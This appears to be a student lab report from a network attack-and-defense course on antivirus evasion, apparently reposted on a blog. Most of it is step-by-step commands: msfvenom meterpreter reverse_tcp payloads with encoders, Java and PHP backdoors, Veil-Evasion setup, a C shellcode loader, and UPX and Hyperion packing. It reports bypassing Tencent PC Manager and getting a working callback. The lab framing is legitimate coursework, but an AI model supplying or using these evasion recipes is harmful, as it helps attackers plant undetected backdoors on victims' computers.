• 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5 20165233


    Exp3 免杀原理与实践

    实验内容

    一、基础问题回答

    1、杀软是如何检测出恶意代码的?

    • 基于特征码的检测:通过与自己软件中病毒的特征库比对来检测的。

    • 启发式的软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

    • 基于行为的检测:一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描。基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

    2、免杀是做什么?

    • 通过改变形态,例如加壳,或者shellcode+编码器,或者用其他语言重新编译(veil-evasion),以达到使恶意软件无法被杀毒软件查杀的目的。

    3、免杀的基本方法有哪些?

    • 一些基本的方法见上题。

    • 改变特征码

      • 如果你手里只有EXE

        • 加壳:压缩壳 加密壳
      • 有shellcode(像Meterpreter)

        • 用encode进行编码

        • 基于payload重新编译生成可执行文件

      • 有源代码

        • 用其他语言进行重写再编译(veil-evasion)
    • 改变行为

      • 通讯方式

        • 尽量使用反弹式连接

        • 使用隧道技术

        • 加密通讯数据

      • 操作模式

        • 基于内存操作

        • 减少对系统的修改

        • 加入混淆作用的正常功能代码

    二、实验步骤

    实验点一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

    此次实验win7和kali虚拟机都是用网络桥接模式

    win7的IP:10.1.1.159

    kali的IP:10.1.1.177

    1、正确使用msf编码器

    • 通过msfvenom,可以得知常用的命令

    • 编码一次命令如下(用-e参数编码):
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=10.1.1.177 LPORT=5233 -f exe > 5233encoded.exe
    
    

    • 使用virscan网站进行扫描,结果如下:

    • 编码十次命令如下(用-i参数指定编码次数):
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=10.1.1.177 LPORT=5233 -f exe > 5233encoded10.exe
    

    • 使用virscan网站进行扫描,结果如下:

    • 通过对比,发现多次编译似乎没什么太大作用...

    2、msfvenom生成如jar之类的其他文件

    • 用命令msfvenom -p java/meterpreter/reverse_tcp LHOST=10.1.1.177 LPORT=5233 x> 20165233_backdoor_java.jar生成.jar文件:

    • 用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=10.1.1.177 LPORT=5233 x> 20165233_backdoor.php生成php文件(可用于网页挂马):

    3、veil-evasion

    • sudo apt-get install veil命令安装Veil,若遇到问题则用sudo apt-get updatesudo apt-get upgrade这两个命令更新一下软件包即可。

    • 之后用veil命令打开Veil,输入y继续安装直至完成,这个过程中真的出现了好多error...两天都在安装这个庞然大物...

    • 最后终于成功了!

    • use evasion命令(或者use 1)进入Evil-Evasion:

    • 输入命令use c/meterpreter/rev_tcp.py进入配置界面(如果想利用其他语言进行编译,可以通过命令list payloads进行查看),先设置输出.exe文件名:

    • set LHOST ip命令设置ip(注意此处使用的是Kali的IP),用set LPORT PORT命令设置端口号:

    • 再用generate命令生成.exe文件:

    • 使用virscan网站进行扫描,结果如下:

    • 结果还是不尽如人意。

    4、使用shellcode编程

    • msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.177 LPORT=5233 -f c用c语言生成一段shellcode:

    • 创建一个文件5233shellcode.c,然后将unsigned char buf[]赋值到其中,代码如下:
    unsigned char buf[] = 
    /*如上图*/
    
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    

    • 使用命令i686-w64-mingw32-g++ 5233shellcode.c -o 5233shellcode.exe编译这个.c文件为可执行文件:

    • 使用virscan网站进行扫描,结果如下:

    • 在kali上打开msfconsole,并使用ncat5233shellcode.exe传入win7中,运行时,被360杀毒软件发现。

    5、加壳工具

    (1)压缩壳UPX

    • Kali下输入命令upx 5233shellcode.exe -o 5233shellcode.upxed.exe

    • 使用virscan网站进行扫描,结果如下:

    (2)加密壳Hyperion

    • 5233shellcode.upxed.exe复制到/root下;

    • 进入目录/usr/share/windows-binaries/hyperion/中;

    • 输入命令wine hyperion.exe -v 5233shellcode.upxed.exe 5233shellcode.upxed.Hyperion.exe进行加壳:

    • 使用virscan网站进行扫描,结果如下:

    • 比起压缩壳,这个加密壳性能更差...还不如不加...

    实验点二:通过组合应用各种技术实现恶意代码免杀

    • 通过半手工shellcode + 压缩壳实现了在电脑管家下的恶意代码免杀。任务成功截图如下:

    • 杀软与恶意代码的可执行文件共生:

    实验点三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 恶意代码的可执行文件仍旧使用上一实验点中的

    • 电脑的杀软名称与版本:腾讯电脑管家 13.0.19837.233

    • 任务成功截图:

    • 回连成功

    三、开启杀软能绝对防止电脑中恶意代码吗?

    答:不能。由于杀软的病毒特征库更新不及时、不完全之类的问题,所以有些使用自己私人的,未公开的加密shellcode,很难被杀软捕捉到。所以开启杀软能绝对防止电脑中恶意代码。

    实验中遇到的问题

    在win7虚拟机上,可以成功接收到kali传过来的恶意代码可执行文件,但是双击运行后,就会出现程序停止运行的情况。

    • 现在仍然不知道是什么问题。猜测是因为后门的这个恶意代码太垃圾,被电脑管家直接杀掉了。

    实践总结与体会

    通过本次实验,明白电脑为什么即使有杀软也很容易中病毒的原因了。以前在网页浏览器上下载各种应用软件并不会考虑那么多,觉得自己有防火墙和杀软就“百毒不侵”了,实际上漏洞到处都是,电脑时刻都处在危险之中。包括很多应用程序不在官方商城更新,而是在自己内部更新的情况,都是会让电脑中病毒的方式,所以现在上网点击啥东西之前都会先想想,没那么草率地就关闭网页上的阻止拦截窗口。也发现其实一个后门的成本比较低廉,所以时刻防范。

  • 相关阅读:
    文件的编码是一个怎样的机制
    MySQL——修改root密码的4种方法(以windows为例)
    python中nltk的下载安装方式
    VNC轻松连接远程Linux桌面
    Linux 查看磁盘分区、文件系统、磁盘的使用情况相关的命令和工具介绍
    shell脚本中>/dev/null的含义
    执行shell脚本时提示bad interpreter:No such file or directory的解决办法
    TabLayout+ViewPager的简单使用
    让listView gridView全部扩展开
    购物车中的观察者模式的应用
  • 原文地址:https://www.cnblogs.com/minchan0624/p/10625062.html
Copyright © 2020-2023  润新知